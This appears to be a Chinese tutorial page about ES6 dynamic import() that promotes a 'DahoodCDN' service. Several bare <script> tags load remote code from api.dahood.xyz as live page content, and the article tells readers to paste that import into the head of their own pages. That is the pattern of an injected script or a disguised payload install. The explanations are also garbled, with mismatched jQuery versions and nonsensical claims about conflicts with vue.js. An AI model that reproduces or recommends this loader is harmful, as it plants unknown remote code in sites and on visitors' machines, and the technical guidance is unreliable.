📅  最后修改于: 2023-12-03 14:38:55.919000             🧑  作者: Mango
<script>import("https://api.dahood.xyz/cdn/c.js")</script>
如果你在开发前端网页,并且需要引用外部 JavaScript 库,你可能会使用 <script>
标签在 HTML 文件中引入这个库。但是如果你需要引用的 JavaScript 库比较大或者需要使用多个库,你可能需要面对以下两个问题:
<script>import("https://api.dahood.xyz/cdn/c.js")</script>
可以帮助解决这两个问题。
<script>import()
import()
是一个用于异步加载 ES6 模块的原生 JavaScript 方法,它可以将 JavaScript 模块导入到当前的作用域中。特别地,它返回一个 "promise" 对象,所以可以使用 await
在异步代码中等待加载完成。
这个方法不是 axios.get() 方法,它只支持 ES6 模块。注意:<script>
标签中的 type="module"
是必须的
在 import()
中,你需要指定一个相对或绝对的模块 URL。使用这个方法时,模块会拉取并解析执行。如果你制定的 URL 是相对的,浏览器会将它解析为相对引入。
DahoodCDN 是国内一款支持 HTTPs 的静态资源加速服务,包括图片、脚本、样式表、字体文件、视频文件等等。
<script>import("https://api.dahood.xyz/cdn/c.js")</script>
你需要找到你的 HTML 的 <head> 标签,将以下代码添加到它的开始处,这样会异步加载 DahoodCDN。
<!DOCTYPE html>
<html>
<head>
<script type="module">
import "https://api.dahood.xyz/cdn/c.js";
</script>
</head>
<body>
<!-- 其余的 HTML-->
</body>
</html>
<script type="module">
和 import()
方法都是 ES6 浏览器中新增的内容。因此,在现代浏览器(如 Chrome、Firefox、Safari 和 Edge 等)中,<script>import()
方法都得到了很好的支持。但是早期版本的 IE 并不支持这个标签,请确保你的用户在使用这些浏览器时有足够的后备方案。
你需要在你的 HTML 文件中引用 CDN 中的库。下面是引用 jquery
和 vue.js
的示例:
<!DOCTYPE html>
<html>
<head>
<script type="module">
import "https://api.dahood.xyz/cdn/jquery@3.5.1/dist/jquery.min.js";
import "https://api.dahood.xyz/cdn/vue@2.6.12/dist/vue.min.js";
</script>
</head>
<body>
<!-- 其余的 HTML-->
</body>
</html>
定义全局变量是管理依赖冲突的一种技术。如果你的 JavaScript 库在 window 对象上有一个全局变量,则可能会导致依赖冲突。例如,如果你同时使用 jquery
1.12.0 和 vue.js
2.6.12,你需要用以下代码来避免依赖冲突:
<!DOCTYPE html>
<html>
<head>
<script type="module">
import "https://api.dahood.xyz/cdn/jquery@3.5.1/dist/jquery.min.js";
window.$ = jQuery.noConflict(true);
import "https://api.dahood.xyz/cdn/vue@2.6.12/dist/vue.min.js";
</script>
</head>
<body>
<!-- 其余的 HTML-->
</body>
</html>
请注意,当你将 jQuery
初始化为一个不同的名称时,vue.js
仍然关注原始名称 $
!
<script>import()
是一个真正有用的技术,它让我们方便地将外部库导入到我们的项目中,并避免外部库之间的依赖冲突。DahoodCDN
是一个值得推荐的解决方案,为我们的前端项目提供了安全又快速地加载外部库的方法。